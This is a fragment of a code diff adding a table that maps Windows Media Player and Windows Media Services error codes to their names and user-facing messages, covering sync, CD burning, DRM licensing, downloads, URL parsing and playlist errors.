+        0xC00D11A4: ("NS_E_WMP_WMDM_INTERFACEDEAD", "Windows Media Player no longer detects a portable device. Reconnect your portable device, and then try again."),
+        0xC00D11A5: ("NS_E_WMP_WMDM_NOTCERTIFIED", "Windows Media Player cannot sync the file because the portable device does not support protected files."),
+        0xC00D11A6: ("NS_E_WMP_WMDM_LICENSE_NOTEXIST", "This file does not have sync rights. If you obtained this file from an online store, go to the online store to get sync rights."),
+        0xC00D11A7: ("NS_E_WMP_WMDM_LICENSE_EXPIRED", "Windows Media Player cannot sync the file because the sync rights have expired. Go to the content provider's online store to get new sync rights."),
+        0xC00D11A8: ("NS_E_WMP_WMDM_BUSY", "The portable device is already in use. Wait until the current task finishes or quit other programs that might be using the portable device, and then try again."),
+        0xC00D11A9: ("NS_E_WMP_WMDM_NORIGHTS", "Windows Media Player cannot sync the file because the content provider or device prohibits it. You might be able to resolve this problem by going to the content provider's online store to get sync rights."),
+        0xC00D11AA: ("NS_E_WMP_WMDM_INCORRECT_RIGHTS", "The content provider has not granted you the right to sync this file. Go to the content provider's online store to get sync rights."),
+        0xC00D11AB: ("NS_E_WMP_IMAPI_GENERIC", "Windows Media Player cannot burn the files to the CD. Verify that the disc is clean and not damaged. If necessary, select a slower recording speed or try a different brand of blank discs."),
+        0xC00D11AD: ("NS_E_WMP_IMAPI_DEVICE_NOTPRESENT", "Windows Media Player cannot burn the files. Verify that the burner is connected properly, and then try again."),
+        0xC00D11AE: ("NS_E_WMP_IMAPI_DEVICE_BUSY", "Windows Media Player cannot burn the files. Verify that the burner is connected properly and that the disc is clean and not damaged. If the burner is already in use, wait until the current task finishes or quit other programs that might be using the burner."),
+        0xC00D11AF: ("NS_E_WMP_IMAPI_LOSS_OF_STREAMING", "Windows Media Player cannot burn the files to the CD."),
+        0xC00D11B0: ("NS_E_WMP_SERVER_UNAVAILABLE", "Windows Media Player cannot play the file. The server might not be available or there might be a problem with your network or firewall settings."),
+        0xC00D11B1: ("NS_E_WMP_FILE_OPEN_FAILED", "Windows Media Player encountered a problem while playing the file. For additional assistance, click Web Help."),
+        0xC00D11B2: ("NS_E_WMP_VERIFY_ONLINE", "Windows Media Player must connect to the Internet to verify the file's media usage rights. Connect to the Internet, and then try again."),
+        0xC00D11B3: ("NS_E_WMP_SERVER_NOT_RESPONDING", "Windows Media Player cannot play the file because a network error occurred. The server might not be available. Verify that you are connected to the network and that your proxy settings are correct."),
+        0xC00D11B4: ("NS_E_WMP_DRM_CORRUPT_BACKUP", "Windows Media Player cannot restore your media usage rights because it could not find any backed up rights on your computer."),
+        0xC00D11B5: ("NS_E_WMP_DRM_LICENSE_SERVER_UNAVAILABLE", "Windows Media Player cannot download media usage rights because the server is not available (for example, the server might be busy or not online)."),
+        0xC00D11B6: ("NS_E_WMP_NETWORK_FIREWALL", "Windows Media Player cannot play the file. A network firewall might be preventing the Player from opening the file by using the UDP transport protocol. If you typed a URL in the Open URL dialog box, try using a different transport protocol (for example, \"http:\")."),
+        0xC00D11B7: ("NS_E_WMP_NO_REMOVABLE_MEDIA", "Insert the removable media, and then try again."),
+        0xC00D11B8: ("NS_E_WMP_PROXY_CONNECT_TIMEOUT", "Windows Media Player cannot play the file because the proxy server is not responding. The proxy server might be temporarily unavailable or your Player proxy settings might not be valid."),
+        0xC00D11B9: ("NS_E_WMP_NEED_UPGRADE", "To play the file, you might need to install a later version of Windows Media Player. On the Help menu, click Check for Updates, and then follow the instructions. For additional assistance, click Web Help."),
+        0xC00D11BA: ("NS_E_WMP_AUDIO_HW_PROBLEM", "Windows Media Player cannot play the file because there is a problem with your sound device. There might not be a sound device installed on your computer, it might be in use by another program, or it might not be functioning properly."),
+        0xC00D11BB: ("NS_E_WMP_INVALID_PROTOCOL", "Windows Media Player cannot play the file because the specified protocol is not supported. If you typed a URL in the Open URL dialog box, try using a different transport protocol (for example, \"http:\" or \"rtsp:\")."),
+        0xC00D11BC: ("NS_E_WMP_INVALID_LIBRARY_ADD", "Windows Media Player cannot add the file to the library because the file format is not supported."),
+        0xC00D11BD: ("NS_E_WMP_MMS_NOT_SUPPORTED", "Windows Media Player cannot play the file because the specified protocol is not supported. If you typed a URL in the Open URL dialog box, try using a different transport protocol (for example, \"mms:\")."),
+        0xC00D11BE: ("NS_E_WMP_NO_PROTOCOLS_SELECTED", "Windows Media Player cannot play the file because there are no streaming protocols selected. Select one or more protocols, and then try again."),
+        0xC00D11BF: ("NS_E_WMP_GOFULLSCREEN_FAILED", "Windows Media Player cannot switch to Full Screen. You might need to adjust your Windows display settings. Open display settings in Control Panel, and then try setting Hardware acceleration to Full."),
+        0xC00D11C0: ("NS_E_WMP_NETWORK_ERROR", "Windows Media Player cannot play the file because a network error occurred. The server might not be available (for example, the server is busy or not online) or you might not be connected to the network."),
+        0xC00D11C1: ("NS_E_WMP_CONNECT_TIMEOUT", "Windows Media Player cannot play the file because the server is not responding. Verify that you are connected to the network, and then try again later."),
+        0xC00D11C2: ("NS_E_WMP_MULTICAST_DISABLED", "Windows Media Player cannot play the file because the multicast protocol is not enabled. On the Tools menu, click Options, click the Network tab, and then select the Multicast check box. For additional assistance, click Web Help."),
+        0xC00D11C3: ("NS_E_WMP_SERVER_DNS_TIMEOUT", "Windows Media Player cannot play the file because a network problem occurred. Verify that you are connected to the network, and then try again later."),
+        0xC00D11C4: ("NS_E_WMP_PROXY_NOT_FOUND", "Windows Media Player cannot play the file because the network proxy server cannot be found. Verify that your proxy settings are correct, and then try again."),
+        0xC00D11C5: ("NS_E_WMP_TAMPERED_CONTENT", "Windows Media Player cannot play the file because it is corrupted."),
+        0xC00D11C6: ("NS_E_WMP_OUTOFMEMORY", "Your computer is running low on memory. Quit other programs, and then try again."),
+        0xC00D11C7: ("NS_E_WMP_AUDIO_CODEC_NOT_INSTALLED", "Windows Media Player cannot play, burn, rip, or sync the file because a required audio codec is not installed on your computer."),
+        0xC00D11C8: ("NS_E_WMP_VIDEO_CODEC_NOT_INSTALLED", "Windows Media Player cannot play the file because the required video codec is not installed on your computer."),
+        0xC00D11C9: ("NS_E_WMP_IMAPI_DEVICE_INVALIDTYPE", "Windows Media Player cannot burn the files. If the burner is busy, wait for the current task to finish. If necessary, verify that the burner is connected properly and that you have installed the latest device driver."),
+        0xC00D11CA: ("NS_E_WMP_DRM_DRIVER_AUTH_FAILURE", "Windows Media Player cannot play the protected file because there is a problem with your sound device. Try installing a new device driver or use a different sound device."),
+        0xC00D11CB: ("NS_E_WMP_NETWORK_RESOURCE_FAILURE", "Windows Media Player encountered a network error. Restart the Player."),
+        0xC00D11CC: ("NS_E_WMP_UPGRADE_APPLICATION", "Windows Media Player is not installed properly. Reinstall the Player."),
+        0xC00D11CD: ("NS_E_WMP_UNKNOWN_ERROR", "Windows Media Player encountered an unknown error. For additional assistance, click Web Help."),
+        0xC00D11CE: ("NS_E_WMP_INVALID_KEY", "Windows Media Player cannot play the file because the required codec is not valid."),
+        0xC00D11CF: ("NS_E_WMP_CD_ANOTHER_USER", "The CD drive is in use by another user. Wait for the task to complete, and then try again."),
+        0xC00D11D0: ("NS_E_WMP_DRM_NEEDS_AUTHORIZATION", "Windows Media Player cannot play, sync, or burn the protected file because a problem occurred with the Windows Media Digital Rights Management (DRM) system. You might need to connect to the Internet to update your DRM components. For additional assistance, click Web Help."),
+        0xC00D11D1: ("NS_E_WMP_BAD_DRIVER", "Windows Media Player cannot play the file because there might be a problem with your sound or video device. Try installing an updated device driver."),
+        0xC00D11D2: ("NS_E_WMP_ACCESS_DENIED", "Windows Media Player cannot access the file. The file might be in use, you might not have access to the computer where the file is stored, or your proxy settings might not be correct."),
+        0xC00D11D3: ("NS_E_WMP_LICENSE_RESTRICTS", "The content provider prohibits this action. Go to the content provider's online store to get new media usage rights."),
+        0xC00D11D4: ("NS_E_WMP_INVALID_REQUEST", "Windows Media Player cannot perform the requested action at this time."),
+        0xC00D11D5: ("NS_E_WMP_CD_STASH_NO_SPACE", "Windows Media Player cannot burn the files because there is not enough free disk space to store the temporary files. Delete some unneeded files on your hard disk, and then try again."),
+        0xC00D11D6: ("NS_E_WMP_DRM_NEW_HARDWARE", "Your media usage rights have become corrupted or are no longer valid. This might happen if you have replaced hardware components in your computer."),
+        0xC00D11D7: ("NS_E_WMP_DRM_INVALID_SIG", "The required Windows Media Digital Rights Management (DRM) component cannot be validated. You might be able resolve the problem by reinstalling the Player."),
+        0xC00D11D8: ("NS_E_WMP_DRM_CANNOT_RESTORE", "You have exceeded your restore limit for the day. Try restoring your media usage rights tomorrow."),
+        0xC00D11D9: ("NS_E_WMP_BURN_DISC_OVERFLOW", "Some files might not fit on the CD. The required space cannot be calculated accurately because some files might be missing duration information. To ensure the calculation is accurate, play the files that are missing duration information."),
+        0xC00D11DA: ("NS_E_WMP_DRM_GENERIC_LICENSE_FAILURE", "Windows Media Player cannot verify the file's media usage rights. If you obtained this file from an online store, go to the online store to get the necessary rights."),
+        0xC00D11DB: ("NS_E_WMP_DRM_NO_SECURE_CLOCK", "It is not possible to sync because this device's internal clock is not set correctly. To set the clock, select the option to set the device clock on the Privacy tab of the Options dialog box, connect to the Internet, and then sync the device again. For additional assistance, click Web Help."),
+        0xC00D11DC: ("NS_E_WMP_DRM_NO_RIGHTS", "Windows Media Player cannot play, burn, rip, or sync the protected file because you do not have the appropriate rights."),
+        0xC00D11DD: ("NS_E_WMP_DRM_INDIV_FAILED", "Windows Media Player encountered an error during upgrade."),
+        0xC00D11DE: ("NS_E_WMP_SERVER_NONEWCONNECTIONS", "Windows Media Player cannot connect to the server because it is not accepting any new connections. This could be because it has reached its maximum connection limit. Please try again later."),
+        0xC00D11DF: ("NS_E_WMP_MULTIPLE_ERROR_IN_PLAYLIST", "A number of queued files cannot be played. To find information about the problem, click the Now Playing tab, and then click the icon next to each file in the List pane."),
+        0xC00D11E0: ("NS_E_WMP_IMAPI2_ERASE_FAIL", "Windows Media Player encountered an error while erasing the rewritable CD or DVD. Verify that the CD or DVD burner is connected properly and that the disc is clean and not damaged."),
+        0xC00D11E1: ("NS_E_WMP_IMAPI2_ERASE_DEVICE_BUSY", "Windows Media Player cannot erase the rewritable CD or DVD. Verify that the CD or DVD burner is connected properly and that the disc is clean and not damaged. If the burner is already in use, wait until the current task finishes or quit other programs that might be using the burner."),
+        0xC00D11E2: ("NS_E_WMP_DRM_COMPONENT_FAILURE", "A Windows Media Digital Rights Management (DRM) component encountered a problem. If you are trying to use a file that you obtained from an online store, try going to the online store and getting the appropriate usage rights."),
+        0xC00D11E3: ("NS_E_WMP_DRM_NO_DEVICE_CERT", "It is not possible to obtain device's certificate. Please contact the device manufacturer for a firmware update or for other steps to resolve this problem."),
+        0xC00D11E4: ("NS_E_WMP_SERVER_SECURITY_ERROR", "Windows Media Player encountered an error when connecting to the server. The security information from the server could not be validated."),
+        0xC00D11E5: ("NS_E_WMP_AUDIO_DEVICE_LOST", "An audio device was disconnected or reconfigured. Verify that the audio device is connected, and then try to play the item again."),
+        0xC00D11E6: ("NS_E_WMP_IMAPI_MEDIA_INCOMPATIBLE", "Windows Media Player could not complete burning because the disc is not compatible with your drive. Try inserting a different kind of recordable media or use a disc that supports a write speed that is compatible with your drive."),
+        0xC00D11EE: ("NS_E_SYNCWIZ_DEVICE_FULL", "Windows Media Player cannot save the sync settings because your device is full. Delete some unneeded files on your device and then try again."),
+        0xC00D11EF: ("NS_E_SYNCWIZ_CANNOT_CHANGE_SETTINGS", "It is not possible to change sync settings at this time. Try again later."),
+        0xC00D11F0: ("NS_E_TRANSCODE_DELETECACHEERROR", "Windows Media Player cannot delete these files currently. If the Player is synchronizing, wait until it is complete and then try again."),
+        0xC00D11F8: ("NS_E_CD_NO_BUFFERS_READ", "Windows Media Player could not use digital mode to read the CD. The Player has automatically switched the CD drive to analog mode. To switch back to digital mode, use the Devices tab. For additional assistance, click Web Help."),
+        0xC00D11F9: ("NS_E_CD_EMPTY_TRACK_QUEUE", "No CD track was specified for playback."),
+        0xC00D11FA: ("NS_E_CD_NO_READER", "The CD filter was not able to create the CD reader."),
+        0xC00D11FB: ("NS_E_CD_ISRC_INVALID", "Invalid ISRC code."),
+        0xC00D11FC: ("NS_E_CD_MEDIA_CATALOG_NUMBER_INVALID", "Invalid Media Catalog Number."),
+        0xC00D11FD: ("NS_E_SLOW_READ_DIGITAL_WITH_ERRORCORRECTION", "Windows Media Player cannot play audio CDs correctly because the CD drive is slow and error correction is turned on. To increase performance, turn off playback error correction for this drive."),
+        0xC00D11FE: ("NS_E_CD_SPEEDDETECT_NOT_ENOUGH_READS", "Windows Media Player cannot estimate the CD drive's playback speed because the CD track is too short."),
+        0xC00D11FF: ("NS_E_CD_QUEUEING_DISABLED", "Cannot queue the CD track because queuing is not enabled."),
+        0xC00D1202: ("NS_E_WMP_DRM_ACQUIRING_LICENSE", "Windows Media Player cannot download additional media usage rights until the current download is complete."),
+        0xC00D1203: ("NS_E_WMP_DRM_LICENSE_EXPIRED", "The media usage rights for this file have expired or are no longer valid. If you obtained the file from an online store, sign in to the store, and then try again."),
+        0xC00D1204: ("NS_E_WMP_DRM_LICENSE_NOTACQUIRED", "Windows Media Player cannot download the media usage rights for the file. If you obtained the file from an online store, sign in to the store, and then try again."),
+        0xC00D1205: ("NS_E_WMP_DRM_LICENSE_NOTENABLED", "The media usage rights for this file are not yet valid. To see when they will become valid, right-click the file in the library, click Properties, and then click the Media Usage Rights tab."),
+        0xC00D1206: ("NS_E_WMP_DRM_LICENSE_UNUSABLE", "The media usage rights for this file are not valid. If you obtained this file from an online store, contact the store for assistance."),
+        0xC00D1207: ("NS_E_WMP_DRM_LICENSE_CONTENT_REVOKED", "The content provider has revoked the media usage rights for this file. If you obtained this file from an online store, ask the store if a new version of the file is available."),
+        0xC00D1208: ("NS_E_WMP_DRM_LICENSE_NOSAP", "The media usage rights for this file require a feature that is not supported in your current version of Windows Media Player or your current version of Windows. Try installing the latest version of the Player. If you obtained this file from an online store, contact the store for further assistance."),
+        0xC00D1209: ("NS_E_WMP_DRM_UNABLE_TO_ACQUIRE_LICENSE", "Windows Media Player cannot download media usage rights at this time. Try again later."),
+        0xC00D120A: ("NS_E_WMP_LICENSE_REQUIRED", "Windows Media Player cannot play, burn, or sync the file because the media usage rights are missing. If you obtained the file from an online store, sign in to the store, and then try again."),
+        0xC00D120B: ("NS_E_WMP_PROTECTED_CONTENT", "Windows Media Player cannot play, burn, or sync the file because the media usage rights are missing. If you obtained the file from an online store, sign in to the store, and then try again."),
+        0xC00D122A: ("NS_E_WMP_POLICY_VALUE_NOT_CONFIGURED", "Windows Media Player cannot read a policy. This can occur when the policy does not exist in the registry or when the registry cannot be read."),
+        0xC00D1234: ("NS_E_PDA_CANNOT_SYNC_FROM_INTERNET", "Windows Media Player cannot sync content streamed directly from the Internet. If possible, download the file to your computer, and then try to sync the file."),
+        0xC00D1235: ("NS_E_PDA_CANNOT_SYNC_INVALID_PLAYLIST", "This playlist is not valid or is corrupted. Create a new playlist using Windows Media Player, then sync the new playlist instead."),
+        0xC00D1236: ("NS_E_PDA_FAILED_TO_SYNCHRONIZE_FILE", "Windows Media Player encountered a problem while synchronizing the file to the device. For additional assistance, click Web Help."),
+        0xC00D1237: ("NS_E_PDA_SYNC_FAILED", "Windows Media Player encountered an error while synchronizing to the device."),
+        0xC00D1238: ("NS_E_PDA_DELETE_FAILED", "Windows Media Player cannot delete a file from the device."),
+        0xC00D1239: ("NS_E_PDA_FAILED_TO_RETRIEVE_FILE", "Windows Media Player cannot copy a file from the device to your library."),
+        0xC00D123A: ("NS_E_PDA_DEVICE_NOT_RESPONDING", "Windows Media Player cannot communicate with the device because the device is not responding. Try reconnecting the device, resetting the device, or contacting the device manufacturer for updated firmware."),
+        0xC00D123B: ("NS_E_PDA_FAILED_TO_TRANSCODE_PHOTO", "Windows Media Player cannot sync the picture to the device because a problem occurred while converting the file to another quality level or format. The original file might be damaged or corrupted."),
+        0xC00D123C: ("NS_E_PDA_FAILED_TO_ENCRYPT_TRANSCODED_FILE", "Windows Media Player cannot convert the file. The file might have been encrypted by the Encrypted File System (EFS). Try decrypting the file first and then synchronizing it. For information about how to decrypt a file, see Windows Help and Support."),
+        0xC00D123D: ("NS_E_PDA_CANNOT_TRANSCODE_TO_AUDIO", "Your device requires that this file be converted in order to play on the device. However, the device either does not support playing audio, or Windows Media Player cannot convert the file to an audio format that is supported by the device."),
+        0xC00D123E: ("NS_E_PDA_CANNOT_TRANSCODE_TO_VIDEO", "Your device requires that this file be converted in order to play on the device. However, the device either does not support playing video, or Windows Media Player cannot convert the file to a video format that is supported by the device."),
+        0xC00D123F: ("NS_E_PDA_CANNOT_TRANSCODE_TO_IMAGE", "Your device requires that this file be converted in order to play on the device. However, the device either does not support displaying pictures, or Windows Media Player cannot convert the file to a picture format that is supported by the device."),
+        0xC00D1240: ("NS_E_PDA_RETRIEVED_FILE_FILENAME_TOO_LONG", "Windows Media Player cannot sync the file to your computer because the file name is too long. Try renaming the file on the device."),
+        0xC00D1241: ("NS_E_PDA_CEWMDM_DRM_ERROR", "Windows Media Player cannot sync the file because the device is not responding. This typically occurs when there is a problem with the device firmware. For additional assistance, click Web Help."),
+        0xC00D1242: ("NS_E_INCOMPLETE_PLAYLIST", "Incomplete playlist."),
+        0xC00D1243: ("NS_E_PDA_SYNC_RUNNING", "It is not possible to perform the requested action because sync is in progress. You can either stop sync or wait for it to complete, and then try again."),
+        0xC00D1244: ("NS_E_PDA_SYNC_LOGIN_ERROR", "Windows Media Player cannot sync the subscription content because you are not signed in to the online store that provided it. Sign in to the online store, and then try again."),
+        0xC00D1245: ("NS_E_PDA_TRANSCODE_CODEC_NOT_FOUND", "Windows Media Player cannot convert the file to the format required by the device. One or more codecs required to convert the file could not be found."),
+        0xC00D1246: ("NS_E_CANNOT_SYNC_DRM_TO_NON_JANUS_DEVICE", "It is not possible to sync subscription files to this device."),
+        0xC00D1247: ("NS_E_CANNOT_SYNC_PREVIOUS_SYNC_RUNNING", "Your device is operating slowly or is not responding. Until the device responds, it is not possible to sync again. To return the device to normal operation, try disconnecting it from the computer or resetting it."),
+        0xC00D125C: ("NS_E_WMP_HWND_NOTFOUND", "The Windows Media Player download manager cannot function properly because the Player main window cannot be found. Try restarting the Player."),
+        0xC00D125D: ("NS_E_BKGDOWNLOAD_WRONG_NO_FILES", "Windows Media Player encountered a download that has the wrong number of files. This might occur if another program is trying to create jobs with the same signature as the Player."),
+        0xC00D125E: ("NS_E_BKGDOWNLOAD_COMPLETECANCELLEDJOB", "Windows Media Player tried to complete a download that was already canceled. The file will not be available."),
+        0xC00D125F: ("NS_E_BKGDOWNLOAD_CANCELCOMPLETEDJOB", "Windows Media Player tried to cancel a download that was already completed. The file will not be removed."),
+        0xC00D1260: ("NS_E_BKGDOWNLOAD_NOJOBPOINTER", "Windows Media Player is trying to access a download that is not valid."),
+        0xC00D1261: ("NS_E_BKGDOWNLOAD_INVALIDJOBSIGNATURE", "This download was not created by Windows Media Player."),
+        0xC00D1262: ("NS_E_BKGDOWNLOAD_FAILED_TO_CREATE_TEMPFILE", "The Windows Media Player download manager cannot create a temporary file name. This might occur if the path is not valid or if the disk is full."),
+        0xC00D1263: ("NS_E_BKGDOWNLOAD_PLUGIN_FAILEDINITIALIZE", "The Windows Media Player download manager plug-in cannot start. This might occur if the system is out of resources."),
+        0xC00D1264: ("NS_E_BKGDOWNLOAD_PLUGIN_FAILEDTOMOVEFILE", "The Windows Media Player download manager cannot move the file."),
+        0xC00D1265: ("NS_E_BKGDOWNLOAD_CALLFUNCFAILED", "The Windows Media Player download manager cannot perform a task because the system has no resources to allocate."),
+        0xC00D1266: ("NS_E_BKGDOWNLOAD_CALLFUNCTIMEOUT", "The Windows Media Player download manager cannot perform a task because the task took too long to run."),
+        0xC00D1267: ("NS_E_BKGDOWNLOAD_CALLFUNCENDED", "The Windows Media Player download manager cannot perform a task because the Player is terminating the service. The task will be recovered when the Player restarts."),
+        0xC00D1268: ("NS_E_BKGDOWNLOAD_WMDUNPACKFAILED", "The Windows Media Player download manager cannot expand a WMD file. The file will be deleted and the operation will not be completed successfully."),
+        0xC00D1269: ("NS_E_BKGDOWNLOAD_FAILEDINITIALIZE", "The Windows Media Player download manager cannot start. This might occur if the system is out of resources."),
+        0xC00D126A: ("NS_E_INTERFACE_NOT_REGISTERED_IN_GIT", "Windows Media Player cannot access a required functionality. This might occur if the wrong system files or Player DLLs are loaded."),
+        0xC00D126B: ("NS_E_BKGDOWNLOAD_INVALID_FILE_NAME", "Windows Media Player cannot get the file name of the requested download. The requested download will be canceled."),
+        0xC00D128E: ("NS_E_IMAGE_DOWNLOAD_FAILED", "Windows Media Player encountered an error while downloading an image."),
+        0xC00D12C0: ("NS_E_WMP_UDRM_NOUSERLIST", "Windows Media Player cannot update your media usage rights because the Player cannot verify the list of activated users of this computer."),
+        0xC00D12C1: ("NS_E_WMP_DRM_NOT_ACQUIRING", "Windows Media Player is trying to acquire media usage rights for a file that is no longer being used. Rights acquisition will stop."),
+        0xC00D12F2: ("NS_E_WMP_BSTR_TOO_LONG", "The parameter is not valid."),
+        0xC00D12FC: ("NS_E_WMP_AUTOPLAY_INVALID_STATE", "The state is not valid for this request."),
+        0xC00D1306: ("NS_E_WMP_COMPONENT_REVOKED", "Windows Media Player cannot play this file until you complete the software component upgrade. After the component has been upgraded, try to play the file again."),
+        0xC00D1324: ("NS_E_CURL_NOTSAFE", "The URL is not safe for the operation specified."),
+        0xC00D1325: ("NS_E_CURL_INVALIDCHAR", "The URL contains one or more characters that are not valid."),
+        0xC00D1326: ("NS_E_CURL_INVALIDHOSTNAME", "The URL contains a host name that is not valid."),
+        0xC00D1327: ("NS_E_CURL_INVALIDPATH", "The URL contains a path that is not valid."),
+        0xC00D1328: ("NS_E_CURL_INVALIDSCHEME", "The URL contains a scheme that is not valid."),
+        0xC00D1329: ("NS_E_CURL_INVALIDURL", "The URL is not valid."),
+        0xC00D132B: ("NS_E_CURL_CANTWALK", "Windows Media Player cannot play the file. If you clicked a link on a web page, the link might not be valid."),
+        0xC00D132C: ("NS_E_CURL_INVALIDPORT", "The URL port is not valid."),
+        0xC00D132D: ("NS_E_CURLHELPER_NOTADIRECTORY", "The URL is not a directory."),
+        0xC00D132E: ("NS_E_CURLHELPER_NOTAFILE", "The URL is not a file."),
+        0xC00D132F: ("NS_E_CURL_CANTDECODE", "The URL contains characters that cannot be decoded. The URL might be truncated or incomplete."),
+        0xC00D1330: ("NS_E_CURLHELPER_NOTRELATIVE", "The specified URL is not a relative URL."),
+        0xC00D1331: ("NS_E_CURL_INVALIDBUFFERSIZE", "The buffer is smaller than the size specified."),
+        0xC00D1356: ("NS_E_SUBSCRIPTIONSERVICE_PLAYBACK_DISALLOWED", "The content provider has not granted you the right to play this file. Go to the content provider's online store to get play rights."),
+        0xC00D1357: ("NS_E_CANNOT_BUY_OR_DOWNLOAD_FROM_MULTIPLE_SERVICES", "Windows Media Player cannot purchase or download content from multiple online stores."),
+        0xC00D1358: ("NS_E_CANNOT_BUY_OR_DOWNLOAD_CONTENT", "The file cannot be purchased or downloaded. The file might not be available from the online store."),
+        0xC00D135A: ("NS_E_NOT_CONTENT_PARTNER_TRACK", "The provider of this file cannot be identified."),
+        0xC00D135B: ("NS_E_TRACK_DOWNLOAD_REQUIRES_ALBUM_PURCHASE", "The file is only available for download when you buy the entire album."),
+        0xC00D135C: ("NS_E_TRACK_DOWNLOAD_REQUIRES_PURCHASE", "You must buy the file before you can download it."),
+        0xC00D135D: ("NS_E_TRACK_PURCHASE_MAXIMUM_EXCEEDED", "You have exceeded the maximum number of files that can be purchased in a single transaction."),
+        0xC00D135F: ("NS_E_SUBSCRIPTIONSERVICE_LOGIN_FAILED", "Windows Media Player cannot sign in to the online store. Verify that you are using the correct user name and password. If the problem persists, the store may be temporarily unavailable."),
+        0xC00D1360: ("NS_E_SUBSCRIPTIONSERVICE_DOWNLOAD_TIMEOUT", "Windows Media Player cannot download this item because the server is not responding. The server might be temporarily unavailable or you may have lost your Internet connection."),
+        0xC00D1362: ("NS_E_CONTENT_PARTNER_STILL_INITIALIZING", "Content Partner still initializing."),
+        0xC00D1363: ("NS_E_OPEN_CONTAINING_FOLDER_FAILED", "The folder could not be opened. The folder may have been moved or deleted."),
+        0xC00D136A: ("NS_E_ADVANCEDEDIT_TOO_MANY_PICTURES", "Windows Media Player could not add all of the images to the file because the images exceeded the 7 megabyte (MB) limit."),
+        0xC00D1388: ("NS_E_REDIRECT", "The client redirected to another server."),
+        0xC00D1389: ("NS_E_STALE_PRESENTATION", "The streaming media description is no longer current."),
+        0xC00D138A: ("NS_E_NAMESPACE_WRONG_PERSIST", "It is not possible to create a persistent namespace node under a transient parent node."),
+        0xC00D138B: ("NS_E_NAMESPACE_WRONG_TYPE", "It is not possible to store a value in a namespace node that has a different value type."),
+        0xC00D138C: ("NS_E_NAMESPACE_NODE_CONFLICT", "It is not possible to remove the root namespace node."),
+        0xC00D138D: ("NS_E_NAMESPACE_NODE_NOT_FOUND", "The specified namespace node could not be found."),
+        0xC00D138E: ("NS_E_NAMESPACE_BUFFER_TOO_SMALL", "The buffer supplied to hold namespace node string is too small."),
+        0xC00D138F: ("NS_E_NAMESPACE_TOO_MANY_CALLBACKS", "The callback list on a namespace node is at the maximum size."),
+        0xC00D1390: ("NS_E_NAMESPACE_DUPLICATE_CALLBACK", "It is not possible to register an already-registered callback on a namespace node."),
+        0xC00D1391: ("NS_E_NAMESPACE_CALLBACK_NOT_FOUND", "Cannot find the callback in the namespace when attempting to remove the callback."),
+        0xC00D1392: ("NS_E_NAMESPACE_NAME_TOO_LONG", "The namespace node name exceeds the allowed maximum length."),
+        0xC00D1393: ("NS_E_NAMESPACE_DUPLICATE_NAME", "Cannot create a namespace node that already exists."),
+        0xC00D1394: ("NS_E_NAMESPACE_EMPTY_NAME", "The namespace node name cannot be a null string."),
+        0xC00D1395: ("NS_E_NAMESPACE_INDEX_TOO_LARGE", "Finding a child namespace node by index failed because the index exceeded the number of children."),
+        0xC00D1396: ("NS_E_NAMESPACE_BAD_NAME", "The namespace node name is invalid."),
+        0xC00D1397: ("NS_E_NAMESPACE_WRONG_SECURITY", "It is not possible to store a value in a namespace node that has a different security type."),
+        0xC00D13EC: ("NS_E_CACHE_ARCHIVE_CONFLICT", "The archive request conflicts with other requests in progress."),
+        0xC00D13ED: ("NS_E_CACHE_ORIGIN_SERVER_NOT_FOUND", "The specified origin server cannot be found."),
+        0xC00D13EE: ("NS_E_CACHE_ORIGIN_SERVER_TIMEOUT", "The specified origin server is not responding."),
+        0xC00D13EF: ("NS_E_CACHE_NOT_BROADCAST", "The internal code for HTTP status code 412 Precondition Failed due to not broadcast type."),
+        0xC00D13F0: ("NS_E_CACHE_CANNOT_BE_CACHED", "The internal code for HTTP status code 403 Forbidden due to not cacheable."),
+        0xC00D13F1: ("NS_E_CACHE_NOT_MODIFIED", "The internal code for HTTP status code 304 Not Modified."),
+        0xC00D1450: ("NS_E_CANNOT_REMOVE_PUBLISHING_POINT", "It is not possible to remove a cache or proxy publishing point."),
+        0xC00D1451: ("NS_E_CANNOT_REMOVE_PLUGIN", "It is not possible to remove the last instance of a type of plug-in."),
+        0xC00D1452: ("NS_E_WRONG_PUBLISHING_POINT_TYPE", "Cache and proxy publishing points do not support this property or method."),
+        0xC00D1453: ("NS_E_UNSUPPORTED_LOAD_TYPE", "The plug-in does not support the specified load type."),
+        0xC00D1454: ("NS_E_INVALID_PLUGIN_LOAD_TYPE_CONFIGURATION", "The plug-in does not support any load types. The plug-in must support at least one load type."),
+        0xC00D1455: ("NS_E_INVALID_PUBLISHING_POINT_NAME", "The publishing point name is invalid."),
+        0xC00D1456: ("NS_E_TOO_MANY_MULTICAST_SINKS", "Only one multicast data writer plug-in can be enabled for a publishing point."),
+        0xC00D1457: ("NS_E_PUBLISHING_POINT_INVALID_REQUEST_WHILE_STARTED", "The requested operation cannot be completed while the publishing point is started."),
+        0xC00D1458: ("NS_E_MULTICAST_PLUGIN_NOT_ENABLED", "A multicast data writer plug-in must be enabled in order for this operation to be completed."),
+        0xC00D1459: ("NS_E_INVALID_OPERATING_SYSTEM_VERSION", "This feature requires Windows Server 2003, Enterprise Edition."),
+        0xC00D145A: ("NS_E_PUBLISHING_POINT_REMOVED", "The requested operation cannot be completed because the specified publishing point has been removed."),
+        0xC00D145B: ("NS_E_INVALID_PUSH_PUBLISHING_POINT_START_REQUEST", "Push publishing points are started when the encoder starts pushing the stream. This publishing point cannot be started by the server administrator."),
+        0xC00D145C: ("NS_E_UNSUPPORTED_LANGUAGE", "The specified language is not supported."),
+        0xC00D145D: ("NS_E_WRONG_OS_VERSION", "Windows Media Services will only run on Windows Server 2003, Standard Edition and Windows Server 2003, Enterprise Edition."),
+        0xC00D145E: ("NS_E_PUBLISHING_POINT_STOPPED", "The operation cannot be completed because the publishing point has been stopped."),
+        0xC00D14B4: ("NS_E_PLAYLIST_ENTRY_ALREADY_PLAYING", "The playlist entry is already playing."),
+        0xC00D14B5: ("NS_E_EMPTY_PLAYLIST", "The playlist or directory you are requesting does not contain content."),
+        0xC00D14B6: ("NS_E_PLAYLIST_PARSE_FAILURE", "The server was unable to parse the requested playlist file."),
+        0xC00D14B7: ("NS_E_PLAYLIST_UNSUPPORTED_ENTRY", "The requested operation is not supported for this type of playlist entry."),
+        0xC00D14B8: ("NS_E_PLAYLIST_ENTRY_NOT_IN_PLAYLIST", "Cannot jump to a playlist entry that is not inserted in the playlist."),
+        0xC00D14B9: ("NS_E_PLAYLIST_ENTRY_SEEK", "Cannot seek to the desired playlist entry."),
+        0xC00D14BA: ("NS_E_PLAYLIST_RECURSIVE_PLAYLISTS", "Cannot play recursive playlist."),
